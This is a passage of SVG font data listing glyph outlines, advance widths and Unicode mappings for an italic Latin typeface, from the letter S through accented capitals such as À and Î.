<glyph unicode="S" horiz-adv-x="1020" d="M37 55v109q163 -92 348 -92q188 0 295.5 86.5t107.5 232.5q0 61 -17 104.5t-52.5 78.5t-91 68t-131.5 75q-150 76 -209.5 164t-59.5 206t59 207.5t165 139t237 49.5q99 0 180 -17.5t168 -60.5l-32 -94q-66 40 -151.5 63t-164.5 23q-163 0 -259.5 -82.5t-96.5 -218.5 q0 -103 49 -170t182 -133q154 -79 213.5 -130t89 -113t29.5 -147q0 -126 -65.5 -224.5t-179.5 -148.5t-269 -50q-88 0 -172.5 17t-171.5 58z" />
<glyph unicode="T" horiz-adv-x="985" d="M193 1368l20 94h973l-19 -94h-440l-289 -1368h-102l289 1368h-432z" />
<glyph unicode="U" horiz-adv-x="1370" d="M176 381q0 83 27 201l186 880h103l-193 -899q-20 -89 -20 -184q0 -309 342 -309q195 0 307.5 96.5t158.5 318.5l207 977h101l-207 -977q-58 -270 -197 -387.5t-375 -117.5q-440 0 -440 401z" />
<glyph unicode="V" horiz-adv-x="1079" d="M201 1462h100l117 -950q26 -217 35 -365h4q51 111 124 247l572 1068h117l-799 -1462h-88z" />
<glyph unicode="W" horiz-adv-x="1702" d="M238 1462h100l47 -1031l4 -165l-2 -86h6q85 226 170 398l434 884h105l61 -878q19 -266 19 -410h6q30 86 61.5 163t493.5 1125h108q-169 -365 -330.5 -731t-328.5 -731h-78l-78 1075q-11 142 -11 219l1 47h-8q-27 -76 -62 -153.5t-563 -1187.5h-82z" />
<glyph unicode="X" horiz-adv-x="971" d="M-135 0l608 766l-272 696h106l240 -626l483 626h119l-555 -719l285 -743h-107l-254 678l-526 -678h-127z" />
<glyph unicode="Y" horiz-adv-x="965" d="M193 1462h100l201 -817l544 817h117l-631 -932l-108 -530h-105l119 545z" />
<glyph unicode="Z" d="M-12 0l22 92l1069 1276h-764l23 94h887l-19 -88l-1069 -1280h799l-23 -94h-925z" />
<glyph unicode="[" horiz-adv-x="537" d="M-57 -324l376 1786h429l-19 -90h-330l-340 -1605h330l-20 -91h-426z" />
<glyph unicode="\" horiz-adv-x="641" d="M209 1462h86l242 -1462h-82z" />
<glyph unicode="]" horiz-adv-x="537" d="M-176 -324l18 91h330l340 1605h-330l21 90h426l-377 -1786h-428z" />
<glyph unicode="^" horiz-adv-x="1047" d="M70 569l587 906h91l260 -906h-105l-217 809l-500 -809h-116z" />
<glyph unicode="_" horiz-adv-x="801" d="M-182 -291l18 86h807l-18 -86h-807z" />
<glyph unicode="`" horiz-adv-x="1135" d="M487 1548v21h115q46 -129 164 -303v-25h-66q-50 52 -114 144.5t-99 162.5z" />
<glyph unicode="a" horiz-adv-x="1133" d="M102 354q0 197 75 376t200.5 276.5t277.5 97.5q232 0 279 -219h6l59 202h80l-229 -1087h-82l45 274h-6q-84 -142 -187 -218t-237 -76q-281 0 -281 374zM205 365q0 -152 50 -223.5t151 -71.5q89 0 177.5 62t159 166t107.5 230t37 213q0 79 -26 141.5t-77 99t-127 36.5 q-124 0 -224 -82t-164 -245.5t-64 -325.5z" />
<glyph unicode="b" horiz-adv-x="1151" d="M76 0l327 1556h95q-131 -628 -162 -751h6q93 156 199 229.5t231 73.5q281 0 281 -375q0 -203 -76 -380t-201 -273t-276 -96q-113 0 -186 59t-97 166h-6l-55 -209h-80zM268 346q0 -129 64 -202.5t166 -73.5q124 0 224 83t164 245t64 325q0 152 -49 223.5t-151 71.5 q-91 0 -180 -61.5t-160.5 -169.5t-106.5 -235t-35 -206z" />
<glyph unicode="c" horiz-adv-x="887" d="M102 397q0 193 73.5 361.5t198.5 257t290 88.5q134 0 241 -43l-28 -90q-107 47 -218 47q-129 0 -232.5 -77t-162.5 -222t-59 -320q0 -158 73.5 -243.5t208.5 -85.5q71 0 131.5 13t131.5 46v-92q-116 -57 -273 -57q-174 0 -274.5 110.5t-100.5 306.5z" />
<glyph unicode="d" horiz-adv-x="1133" d="M102 354q0 193 71.5 370t197.5 278.5t284 101.5q230 0 279 -219h4q12 66 143 671h99l-330 -1556h-82l45 274h-6q-173 -294 -424 -294q-281 0 -281 374zM205 365q0 -295 201 -295q89 0 178.5 62.5t160 168t106.5 231t36 209.5q0 126 -61.5 201.5t-168.5 75.5 q-124 0 -224 -83t-164 -242.5t-64 -327.5z" />
<glyph unicode="e" horiz-adv-x="928" d="M102 395q0 181 71 347t195.5 264t274.5 98q114 0 182 -61t68 -166q0 -181 -163.5 -276t-485.5 -95h-33q-6 -44 -6 -98q0 -165 74 -251.5t213 -86.5q132 0 276 73v-94q-140 -69 -299 -69q-173 0 -270 109.5t-97 305.5zM225 594h49q517 0 517 270q0 67 -43.5 110.5 t-116.5 43.5q-131 0 -243.5 -115.5t-162.5 -308.5z" />
<glyph unicode="f" horiz-adv-x="578" d="M-233 -383q53 -16 100 -16q88 0 134 53t75 186l246 1166h-205l14 67l205 14l35 160q35 168 116.5 244t227.5 76q73 0 166 -31l-25 -80q-87 27 -147 27q-96 0 -153.5 -53.5t-84.5 -178.5l-35 -164h248l-16 -81h-248l-252 -1190q-33 -161 -104 -234.5t-195 -73.5 q-48 0 -102 19v90z" />
<glyph unicode="g" horiz-adv-x="1040" d="M-88 -217q0 236 309 334q-78 42 -78 123q0 123 191 202q-71 36 -110.5 105.5t-39.5 157.5q0 111 53.5 204t148 146t206.5 53q69 0 147 -21h361l-17 -79l-243 -11q26 -28 43.5 -84t17.5 -114q0 -109 -54.5 -206.5t-148 -145.5t-213.5 -48q-63 0 -77 9q-80 -33 -124 -73 t-44 -81t31.5 -64.5t113.5 -31.5l121 -11q346 -31 346 -264q0 -112 -65 -197.5t-187 -131.5t-291 -46q-186 0 -291.5 72t-105.5 203zM14 -207q0 -101 81 -150t224 -49q203 0 317 74.5t114 204.5q0 85 -62.5 130.5t-218.5 57.5l-160 15q-157 -45 -226 -114.5t-69 -168.5z M285 711q0 -112 58.5 -170t164.5 -58q88 0 154 37t102.5 114t36.5 169q0 104 -56 161.5t-157 57.5q-93 0 -161 -43t-105 -116t-37 -152z" />
<glyph unicode="h" horiz-adv-x="1143" d="M76 0l332 1556h96l-86 -411q-44 -200 -66 -279h6q78 113 186.5 175.5t229.5 62.5q124 0 192 -65t68 -183q0 -70 -24 -182l-148 -674h-98l149 692q21 92 21 156q0 80 -43.5 125t-134.5 45q-112 0 -210.5 -67t-166 -188t-103.5 -286l-102 -477h-98z" />
<glyph unicode="i" horiz-adv-x="475" d="M76 0l231 1087h96l-229 -1087h-98zM350 1366q0 55 22 88t60 33q57 0 57 -72q0 -57 -22 -90t-57 -33q-29 0 -44.5 19.5t-15.5 54.5z" />
<glyph unicode="j" horiz-adv-x="475" d="M-279 -381q47 -22 113 -22q82 0 128.5 51.5t72.5 177.5l266 1261h96l-268 -1271q-35 -165 -106.5 -236.5t-188.5 -71.5q-62 0 -113 19v92zM350 1366q0 55 22 88t60 33q57 0 57 -72q0 -57 -22 -90t-57 -33q-29 0 -44.5 19.5t-15.5 54.5z" />
<glyph unicode="k" horiz-adv-x="944" d="M76 0l330 1556h96l-166 -780l-70 -299h4l609 610h125l-474 -469l297 -618h-106l-264 559l-205 -188l-80 -371h-96z" />
<glyph unicode="l" horiz-adv-x="475" d="M76 0l334 1556h94l-334 -1556h-94z" />
<glyph unicode="m" horiz-adv-x="1751" d="M72 0l231 1087h80l-33 -210h6q80 113 181.5 170t212.5 57q106 0 163 -67t60 -195h6q77 129 181 195.5t222 66.5q117 0 182.5 -61.5t65.5 -176.5q0 -29 -2.5 -56.5t-19.5 -119.5l-152 -690h-100l149 680q25 120 25 176q0 77 -43 119.5t-119 42.5q-157 0 -277.5 -137.5 t-168.5 -362.5l-109 -518h-102l147 674q25 125 25 162q0 182 -154 182q-106 0 -200 -67.5t-159 -188.5t-100 -287l-100 -475h-98z" />
<glyph unicode="n" horiz-adv-x="1143" d="M76 0l231 1087h82l-37 -221h6q164 238 416 238q130 0 195 -64t65 -184q0 -70 -24 -182l-148 -674h-98l149 692q21 92 21 156q0 80 -43.5 125t-134.5 45q-112 0 -210.5 -67t-166 -187.5t-103.5 -286.5l-102 -477h-98z" />
<glyph unicode="o" horiz-adv-x="1124" d="M98 403q0 191 73 358t197 257t281 90q180 0 278.5 -108.5t98.5 -299.5q0 -197 -71.5 -368.5t-195.5 -261.5t-286 -90q-184 0 -279.5 109.5t-95.5 313.5zM201 408q0 -342 282 -342q127 0 225.5 77.5t157 228t58.5 330.5q0 154 -73 237t-210 83q-124 0 -223 -78.5 t-158 -225t-59 -310.5z" />
<glyph unicode="p" horiz-adv-x="1149" d="M-33 -492l336 1579h82l-45 -274h6q91 153 195.5 224t228.5 71q135 0 208 -92.5t73 -282.5q0 -195 -72 -371t-197.5 -277t-283.5 -101q-230 0 -279 219h-4q-13 -72 -149 -695h-99zM266 346q0 -125 61.5 -200.5t168.5 -75.5q124 0 225 84t164 243.5t63 325.5 q0 295 -200 295q-87 0 -174 -58.5t-161.5 -167.5t-110.5 -237.5t-36 -208.5z" />
<glyph unicode="q" horiz-adv-x="1157" d="M98 354q0 201 75.5 379t200.5 274.5t277 96.5q109 0 183.5 -58t99.5 -167h6l55 208h80l-327 -1556h-95l98 470l64 282h-6q-93 -156 -199 -229.5t-231 -73.5q-281 0 -281 374zM201 365q0 -143 45.5 -219t154.5 -76q92 0 182 62.5t160.5 171.5t105 236.5t34.5 200.5 q0 130 -63.5 203.5t-166.5 73.5q-124 0 -224 -83t-164 -245t-64 -325z" />
<glyph unicode="r" horiz-adv-x="752" d="M72 0l231 1087h80l-29 -204h6q73 94 123 135.5t106.5 64.5t123.5 23q69 0 123 -14l-21 -93q-47 15 -113 15q-94 0 -179 -64t-153 -192t-100 -277l-100 -481h-98z" />
<glyph unicode="s" horiz-adv-x="827" d="M25 55v107q74 -46 153 -71t148 -25q138 0 211 57.5t73 163.5q0 42 -15.5 74t-50 61.5t-132.5 85.5q-148 80 -200 145.5t-52 159.5q0 128 98.5 209.5t259.5 81.5q75 0 158.5 -17.5t140.5 -46.5l-35 -88q-136 64 -264 64q-116 0 -186 -53t-70 -138q0 -55 17 -88t60.5 -68.5 t119.5 -76.5q114 -63 161.5 -103.5t70 -86.5t22.5 -107q0 -144 -103 -229.5t-280 -85.5q-173 0 -305 75z" />
<glyph unicode="t" horiz-adv-x="616" d="M113 1006l14 67l184 17l97 253h55l-55 -256h286l-18 -81h-283l-135 -635q-22 -99 -22 -164q0 -139 126 -139q68 0 152 26v-86q-101 -28 -170 -28q-99 0 -153 54.5t-54 158.5q0 73 29 206l129 607h-182z" />
<glyph unicode="u" horiz-adv-x="1143" d="M109 227q0 60 22 170l150 690h100l-152 -698q-22 -106 -22 -158q0 -74 47.5 -117.5t138.5 -43.5q110 0 207.5 65.5t164 187t99.5 279.5l105 485h98l-231 -1087h-80l28 205h-6q-167 -221 -403 -221q-131 0 -198.5 62t-67.5 181z" />
<glyph unicode="v" horiz-adv-x="895" d="M104 1087h101l108 -735q26 -165 33 -254h6q51 115 129 256l406 733h102l-600 -1087h-113z" />
<glyph unicode="w" horiz-adv-x="1393" d="M121 1087h92l13 -821l-3 -157h6q61 134 150 297l373 681h77l64 -681q14 -147 14 -297h6l24 61l101 236l320 681h96l-508 -1087h-108l-60 686q-14 224 -14 266h-6q-34 -92 -144 -290l-356 -662h-117z" />
<glyph unicode="x" horiz-adv-x="922" d="M-72 0l471 559l-245 528h100l207 -462l373 462h120l-448 -534l258 -553h-98l-224 483l-393 -483h-121z" />
<glyph unicode="y" horiz-adv-x="920" d="M-217 -379q71 -27 137 -27q80 0 147 49.5t130 164.5t100 184l-174 1095h100l82 -548q51 -351 55 -449h11q43 105 186 367l348 630h103l-713 -1290q-72 -127 -122.5 -178t-114 -81t-146.5 -30q-68 0 -129 21v92z" />
<glyph unicode="z" horiz-adv-x="887" d="M-29 0l15 72l776 932h-543l17 83h659l-18 -83l-762 -920h602l-17 -84h-729z" />
<glyph unicode="{" horiz-adv-x="709" d="M59 528l21 78q126 0 191 49t89 158l89 393q30 135 106 195.5t215 60.5h29l-17 -86q-86 -2 -129 -20.5t-69.5 -61.5t-44.5 -120l-74 -338q-30 -134 -91.5 -194.5t-164.5 -78.5v-4q68 -18 105.5 -68.5t37.5 -121.5q0 -52 -24 -164l-47 -225q-13 -58 -13 -101 q0 -61 37.5 -89t138.5 -28v-86h-20q-256 0 -256 199q0 45 16 115l56 252q18 90 18 127q0 159 -199 159z" />
<glyph unicode="|" d="M584 -510v2071h100v-2071h-100z" />
<glyph unicode="}" horiz-adv-x="709" d="M-41 -238q96 2 138 21t68.5 61t43.5 121l74 338q27 126 87.5 189.5t168.5 82.5v5q-75 20 -109.5 72.5t-34.5 117.5q0 55 18 131l54 258q12 61 12 101q0 44 -18 69t-54 36t-116 11l20 86h21q131 0 189.5 -51t58.5 -147q0 -41 -17 -115l-55 -252q-19 -95 -19 -127 q0 -77 49.5 -118.5t149.5 -41.5l-20 -78q-125 0 -191 -48.5t-90 -157.5l-88 -394q-32 -139 -108.5 -197.5t-213.5 -58.5h-18v86z" />
<glyph unicode="~" d="M127 625v94q108 110 233 110q61 0 115 -13.5t156 -57.5q126 -58 219 -58q54 0 107.5 29t117.5 96v-96q-111 -113 -233 -113q-117 0 -271 72q-62 29 -112.5 43t-108.5 14q-49 0 -108 -30.5t-115 -89.5z" />
<glyph unicode="&#xa1;" horiz-adv-x="502" d="M4 -375l260 1086h62l-203 -1086h-119zM272 981q0 55 25 89t68 34q67 0 67 -74q0 -56 -25 -88.5t-69 -32.5q-66 0 -66 72z" />
<glyph unicode="&#xa2;" d="M250 600q0 184 63.5 341t178 253t256.5 111l36 178h90l-38 -176q116 -4 217 -43l-29 -90q-107 47 -217 47q-130 0 -233 -76t-162.5 -221t-59.5 -322q0 -164 74.5 -247t208.5 -83q127 0 264 60v-92q-118 -58 -281 -58l-40 -202h-93l45 215q-132 25 -206 132.5t-74 272.5z " />
<glyph unicode="&#xa3;" d="M-4 0l16 84q93 11 165.5 95.5t107.5 236.5l57 260h-199l17 82h198l76 350q41 187 155 279t290 92q170 0 313 -78l-39 -84l-54 26q-108 50 -231 50q-134 0 -220.5 -74.5t-117.5 -220.5l-73 -340h409l-18 -82h-408l-57 -268q-50 -225 -188 -314h759l-20 -94h-938z" />
<glyph unicode="&#xa4;" d="M207 1077l63 64l127 -129q105 78 230 78q118 0 223 -78l131 129l61 -62l-129 -129q78 -106 78 -227q0 -135 -78 -227l129 -127l-61 -62l-131 127q-104 -76 -223 -76q-126 0 -228 80l-129 -129l-61 62l127 127q-74 98 -74 225q0 118 74 225zM350 723q0 -116 80 -196.5 t197 -80.5t198.5 81t81.5 196q0 75 -36.5 140t-102.5 104t-141 39q-114 0 -195.5 -82t-81.5 -201z" />
<glyph unicode="&#xa5;" d="M166 289l18 84h299l41 190h-301l17 76h258l-215 823h100l201 -817l544 817h117l-559 -823h266l-16 -76h-315l-39 -190h317l-18 -84h-316l-59 -289h-105l64 289h-299z" />
<glyph unicode="&#xa6;" d="M578 246h100v-756h-100v756zM578 805v756h100v-756h-100z" />
<glyph unicode="&#xa7;" horiz-adv-x="995" d="M102 51v99q47 -27 126 -46.5t153 -19.5q149 0 228 52.5t79 150.5q0 62 -42.5 106t-166.5 96q-155 65 -211.5 130t-56.5 159q0 101 69.5 182t198.5 130q-64 31 -103.5 85.5t-39.5 120.5q0 74 46 134.5t132.5 94.5t202.5 34q163 0 289 -58l-31 -80q-138 54 -264 54 q-124 0 -202.5 -46.5t-78.5 -123.5q0 -59 46 -104.5t183 -106.5q112 -52 158.5 -89.5t71 -85t24.5 -110.5q0 -197 -249 -317q122 -64 122 -197q0 -86 -48 -153.5t-139.5 -105.5t-221.5 -38q-157 0 -275 53zM303 786q0 -57 24.5 -96.5t81 -73t187.5 -81.5q103 49 162 113.5 t59 156.5q0 72 -57.5 126t-200.5 107q-119 -30 -187.5 -97.5t-68.5 -154.5z" />
<glyph unicode="&#xa8;" horiz-adv-x="1135" d="M492 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63zM836 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#xa9;" horiz-adv-x="1704" d="M147 731q0 200 100 375t275 276t377 101q200 0 375 -100t276 -275t101 -377q0 -197 -97 -370t-272 -277t-383 -104q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM240 731q0 -178 88.5 -329.5t240.5 -240.5t330 -89q174 0 325 85.5t243 239t92 334.5q0 178 -89 330 t-240.5 241t-330.5 89q-182 0 -335 -92t-238.5 -243t-85.5 -325zM537 725q0 207 110 332t297 125q119 0 227 -52l-36 -83q-99 45 -191 45q-142 0 -222.5 -94.5t-80.5 -264.5q0 -186 74.5 -275t220.5 -89q85 0 199 43v-88q-104 -45 -209 -45q-187 0 -288 116t-101 330z" />
<glyph unicode="&#xaa;" horiz-adv-x="643" d="M170 1032q0 189 90.5 321t226.5 132q55 0 97.5 -29t66.5 -86h6l35 103h66l-137 -650h-72l22 125h-4q-96 -137 -223 -137q-80 0 -127 56.5t-47 164.5zM258 1028q0 -143 111 -143q66 0 133.5 75.5t97.5 184.5q16 51 16 123q0 58 -36 100.5t-93 42.5q-94 0 -161.5 -111.5 t-67.5 -271.5z" />
<glyph unicode="&#xab;" horiz-adv-x="860" d="M61 541l2 26l363 365l57 -49l-317 -336l213 -385l-64 -39zM422 541l2 26l362 365l58 -49l-314 -336l209 -385l-63 -39z" />
<glyph unicode="&#xac;" d="M125 672v100h903v-500h-100v400h-803z" />
<glyph unicode="&#xad;" horiz-adv-x="629" d="M77 502l18 90h457l-16 -90h-459z" />
<glyph unicode="&#xae;" horiz-adv-x="1704" d="M150 731q0 207 103.5 382t276.5 272.5t371 97.5q200 0 375 -100t276 -275t101 -377q0 -197 -97 -370t-272 -277t-383 -104q-204 0 -376.5 100.5t-273.5 273t-101 377.5zM242 731q0 -178 88.5 -329.5t240.5 -240.5t330 -89q174 0 325 85.5t243 239t92 334.5q0 178 -89 330 t-240.5 241t-330.5 89q-182 0 -335 -92t-238.5 -243t-85.5 -325zM657 291v880h211q143 0 222 -62t79 -191q0 -80 -39.5 -141t-109.5 -93l237 -393h-120l-211 360h-168v-360h-101zM758 731h112q93 0 144 46.5t51 135.5q0 172 -197 172h-110v-354z" />
<glyph unicode="&#xaf;" horiz-adv-x="655" d="M348 1556l53 97h654l-54 -97h-653z" />
<glyph unicode="&#xb0;" horiz-adv-x="877" d="M242 1190q0 120 85 206.5t208 86.5q122 0 207 -86.5t85 -206.5q0 -122 -85.5 -207.5t-206.5 -85.5q-122 0 -207.5 85.5t-85.5 207.5zM315 1190q0 -89 64.5 -153t155.5 -64q92 0 155.5 64t63.5 153q0 90 -64 155.5t-155 65.5q-90 0 -155 -65.5t-65 -155.5z" />
<glyph unicode="&#xb1;" d="M127 0v100h903v-100h-903zM127 629v98h401v406h101v-406h401v-98h-401v-400h-101v400h-401z" />
<glyph unicode="&#xb2;" horiz-adv-x="643" d="M82 586l16 80l297 258q137 118 182.5 190.5t45.5 153.5q0 59 -38.5 97t-105.5 38q-95 0 -194 -76l-41 62q108 90 239 90q73 0 125 -27t78.5 -72t26.5 -100q0 -106 -59 -198.5t-183 -194.5l-266 -223h416l-17 -78h-522z" />
<glyph unicode="&#xb3;" horiz-adv-x="643" d="M109 625v90q46 -28 108 -48t125 -20q99 0 159 52.5t60 142.5q0 162 -196 162h-84l16 79h86q102 0 168.5 49.5t66.5 129.5q0 68 -37.5 102.5t-105.5 34.5q-100 0 -199 -68l-40 64q109 86 251 86q100 0 159 -56.5t59 -148.5q0 -85 -48.5 -148t-154.5 -88v-4 q66 -16 105.5 -68t39.5 -124q0 -77 -39 -141t-109 -99t-161 -35q-59 0 -123.5 15.5t-105.5 40.5z" />
<glyph unicode="&#xb4;" horiz-adv-x="1135" d="M580 1241v21q66 51 150.5 142t129.5 165h137v-23q-51 -66 -157.5 -158.5t-192.5 -146.5h-67z" />
<glyph unicode="&#xb5;" horiz-adv-x="1171" d="M-29 -492l338 1579h101l-152 -698q-20 -96 -20 -147q0 -82 48.5 -127t135.5 -45q110 0 207 64.5t162.5 182.5t101.5 285l104 485h99l-234 -1087h-78l29 205h-6q-164 -221 -404 -221q-85 0 -139 32.5t-76 89.5h-6q-18 -132 -51 -284l-63 -314h-97z" />
<glyph unicode="&#xb6;" horiz-adv-x="1341" d="M215 1042q0 260 109 387t342 127h542v-1816h-100v1722h-227v-1722h-101v819q-64 -18 -145 -18q-216 0 -318 125t-102 376z" />
<glyph unicode="&#xb7;" horiz-adv-x="485" d="M207 698q0 56 25 88.5t69 32.5q66 0 66 -72q0 -53 -25 -87.5t-67 -34.5q-68 0 -68 73z" />
<glyph unicode="&#xb8;" horiz-adv-x="420" d="M-174 -406q30 -6 72 -6q198 0 198 115q0 97 -151 107l110 190h80l-78 -137q140 -30 140 -152q0 -94 -75.5 -148.5t-217.5 -54.5q-46 0 -78 7v79z" />
<glyph unicode="&#xb9;" horiz-adv-x="643" d="M254 1288l258 174h80l-186 -876h-84l118 569q5 21 11.5 50.5t14 60t15.5 59t15 49.5q-34 -31 -60 -51.5t-143 -93.5z" />
<glyph unicode="&#xba;" horiz-adv-x="655" d="M190 1059q0 112 41.5 209.5t116 154t170.5 56.5q105 0 165 -64t60 -180q0 -115 -40 -214t-114 -156.5t-175 -57.5q-114 0 -169 67.5t-55 184.5zM270 1067q0 -186 156 -186q73 0 125.5 46.5t81.5 127.5t29 176q0 83 -39 128.5t-115 45.5q-70 0 -124 -46.5t-84 -124.5 t-30 -167z" />
<glyph unicode="&#xbb;" horiz-adv-x="860" d="M33 172l313 336l-209 385l64 39l254 -418l-2 -27l-363 -364zM393 172l314 336l-209 385l63 39l254 -418l-2 -27l-362 -364z" />
<glyph unicode="&#xbc;" horiz-adv-x="1481" d="M715 230l21 76l506 577h86l-125 -581h133l-17 -72h-131l-49 -229h-82l49 229h-391zM830 302h291q61 294 79 365.5t29 105.5q-10 -16 -61 -79t-338 -392zM129 0l1086 1462h108l-1087 -1462h-107zM251 1288l258 174h80l-186 -876h-84l118 569q5 21 11.5 50.5t14 60t15.5 59 t15 49.5q-34 -31 -60 -51.5t-143 -93.5z" />
<glyph unicode="&#xbd;" horiz-adv-x="1458" d="M756 1l16 80l297 258q137 118 182.5 190.5t45.5 153.5q0 59 -38.5 97t-105.5 38q-95 0 -194 -76l-41 62q108 90 239 90q73 0 125 -27t78.5 -72t26.5 -100q0 -106 -59 -198.5t-183 -194.5l-266 -223h416l-17 -78h-522zM173 1288l258 174h80l-186 -876h-84l118 569 q5 21 11.5 50.5t14 60t15.5 59t15 49.5q-34 -31 -60 -51.5t-143 -93.5zM53 0l1086 1462h108l-1087 -1462h-107z" />
<glyph unicode="&#xbe;" horiz-adv-x="1458" d="M776 230l21 76l506 577h86l-125 -581h133l-17 -72h-131l-49 -229h-82l49 229h-391zM891 302h291q61 294 79 365.5t29 105.5q-10 -16 -61 -79t-338 -392zM71 625v90q46 -28 108 -48t125 -20q99 0 159 52.5t60 142.5q0 162 -196 162h-84l16 79h86q102 0 168.5 49.5 t66.5 129.5q0 68 -37.5 102.5t-105.5 34.5q-100 0 -199 -68l-40 64q109 86 251 86q100 0 159 -56.5t59 -148.5q0 -85 -48.5 -148t-154.5 -88v-4q66 -16 105.5 -68t39.5 -124q0 -77 -39 -141t-109 -99t-161 -35q-59 0 -123.5 15.5t-105.5 40.5zM213 0l1086 1462h108 l-1087 -1462h-107z" />
<glyph unicode="&#xbf;" horiz-adv-x="799" d="M0 -90q0 133 70 240.5t227 220.5q85 61 133.5 109t73 95t45.5 142h92l-6 -29q-28 -127 -79 -200t-161 -154q-118 -84 -175 -145.5t-86.5 -127.5t-29.5 -141q0 -106 65.5 -168.5t184.5 -62.5q141 0 308 100l38 -86q-85 -49 -170.5 -77.5t-187.5 -28.5q-159 0 -250.5 84.5 t-91.5 228.5zM553 971q0 56 25 89.5t67 33.5q68 0 68 -74q0 -56 -25.5 -88.5t-69.5 -32.5q-65 0 -65 72z" />
<glyph unicode="&#xc0;" horiz-adv-x="1059" d="M-111 0l822 1468h67l201 -1468h-105l-69 520h-512l-287 -520h-117zM344 612h449l-39 291q-31 242 -39 402q-30 -63 -64.5 -130t-306.5 -563zM536 1886v21h115q46 -129 164 -303v-25h-66q-50 52 -114 144.5t-99 162.5z" />
<glyph unicode="&#xc1;" horiz-adv-x="1059" d="M-111 0l822 1468h67l201 -1468h-105l-69 520h-512l-287 -520h-117zM344 612h449l-39 291q-31 242 -39 402q-30 -63 -64.5 -130t-306.5 -563zM668 1579v21q66 51 150.5 142t129.5 165h137v-23q-51 -66 -157.5 -158.5t-192.5 -146.5h-67z" />
<glyph unicode="&#xc2;" horiz-adv-x="1059" d="M-111 0l822 1468h67l201 -1468h-105l-69 520h-512l-287 -520h-117zM344 612h449l-39 291q-31 242 -39 402q-30 -63 -64.5 -130t-306.5 -563zM493 1579v29q68 56 157.5 148.5t127.5 150.5h64q23 -64 72.5 -152.5t92.5 -146.5v-29h-49q-70 60 -161 207q-55 -57 -125 -114.5 t-125 -92.5h-54z" />
<glyph unicode="&#xc3;" horiz-adv-x="1059" d="M-111 0l822 1468h67l201 -1468h-105l-69 520h-512l-287 -520h-117zM344 612h449l-39 291q-31 242 -39 402q-30 -63 -64.5 -130t-306.5 -563zM426 1581q19 108 71 166.5t134 58.5q41 0 73.5 -14t117.5 -72q52 -36 94 -36q43 0 71.5 30.5t46.5 100.5h76 q-26 -118 -74.5 -173t-124.5 -55q-40 0 -77.5 19t-75.5 45q-34 23 -64.5 41t-68.5 18q-45 0 -74 -28.5t-51 -100.5h-74z" />
<glyph unicode="&#xc4;" horiz-adv-x="1059" d="M-111 0l822 1468h67l201 -1468h-105l-69 520h-512l-287 -520h-117zM344 612h449l-39 291q-31 242 -39 402q-30 -63 -64.5 -130t-306.5 -563zM535 1704q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63zM879 1704q0 49 20.5 78t56.5 29q54 0 54 -64 q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#xc5;" horiz-adv-x="1059" d="M-111 0l822 1468h67l201 -1468h-105l-69 520h-512l-287 -520h-117zM344 612h449l-39 291q-31 242 -39 402q-30 -63 -64.5 -130t-306.5 -563zM539 1592q0 88 59.5 144t149.5 56q88 0 142.5 -50t54.5 -142t-57.5 -148.5t-145.5 -56.5q-93 0 -148 52t-55 145zM619 1592 q0 -57 33 -90t90 -33q56 0 90.5 36t34.5 93t-33.5 90t-87.5 33q-60 0 -93.5 -36t-33.5 -93z" />
<glyph unicode="&#xc6;" horiz-adv-x="1640" d="M-117 0l946 1462h883l-20 -94h-625l-117 -553h590l-20 -94h-588l-135 -627h626l-20 -94h-727l110 522h-444l-328 -522h-131zM408 627h401l156 741h-88z" />
<glyph unicode="&#xc7;" horiz-adv-x="1169" d="M170 535q0 266 104.5 488t284.5 341t402 119q177 0 307 -68l-45 -90q-55 30 -124.5 47t-137.5 17q-197 0 -351.5 -104.5t-245 -304.5t-90.5 -441q0 -225 110.5 -346t317.5 -121q140 0 304 51v-94q-156 -49 -316 -49q-252 0 -386 145t-134 410zM381 -406q30 -6 72 -6 q198 0 198 115q0 97 -151 107l110 190h80l-78 -137q140 -30 140 -152q0 -94 -75.5 -148.5t-217.5 -54.5q-46 0 -78 7v79z" />
<glyph unicode="&#xc8;" horiz-adv-x="1067" d="M102 0l310 1462h727l-21 -94h-624l-117 -553h590l-21 -94h-588l-135 -627h627l-21 -94h-727zM612 1886v21h115q46 -129 164 -303v-25h-66q-50 52 -114 144.5t-99 162.5z" />
<glyph unicode="&#xc9;" horiz-adv-x="1067" d="M102 0l310 1462h727l-21 -94h-624l-117 -553h590l-21 -94h-588l-135 -627h627l-21 -94h-727zM654 1579v21q66 51 150.5 142t129.5 165h137v-23q-51 -66 -157.5 -158.5t-192.5 -146.5h-67z" />
<glyph unicode="&#xca;" horiz-adv-x="1067" d="M102 0l310 1462h727l-21 -94h-624l-117 -553h590l-21 -94h-588l-135 -627h627l-21 -94h-727zM522 1579v29q68 56 157.5 148.5t127.5 150.5h64q23 -64 72.5 -152.5t92.5 -146.5v-29h-49q-70 60 -161 207q-55 -57 -125 -114.5t-125 -92.5h-54z" />
<glyph unicode="&#xcb;" horiz-adv-x="1067" d="M102 0l310 1462h727l-21 -94h-624l-117 -553h590l-21 -94h-588l-135 -627h627l-21 -94h-727zM558 1704q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63zM902 1704q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#xcc;" horiz-adv-x="504" d="M102 0l310 1462h98l-309 -1462h-99zM246 1886v21h115q46 -129 164 -303v-25h-66q-50 52 -114 144.5t-99 162.5z" />
<glyph unicode="&#xcd;" horiz-adv-x="504" d="M102 0l310 1462h98l-309 -1462h-99zM419 1579v21q66 51 150.5 142t129.5 165h137v-23q-51 -66 -157.5 -158.5t-192.5 -146.5h-67z" />
<glyph unicode="&#xce;" horiz-adv-x="504" d="M102 0l310 1462h98l-309 -1462h-99zM224 1579v29q68 56 157.5 148.5t127.5 150.5h64q23 -64 72.5 -152.5t92.5 -146.5v-29h-49q-70 60 -161 207q-55 -57 -125 -114.5t-125 -92.5h-54z" />
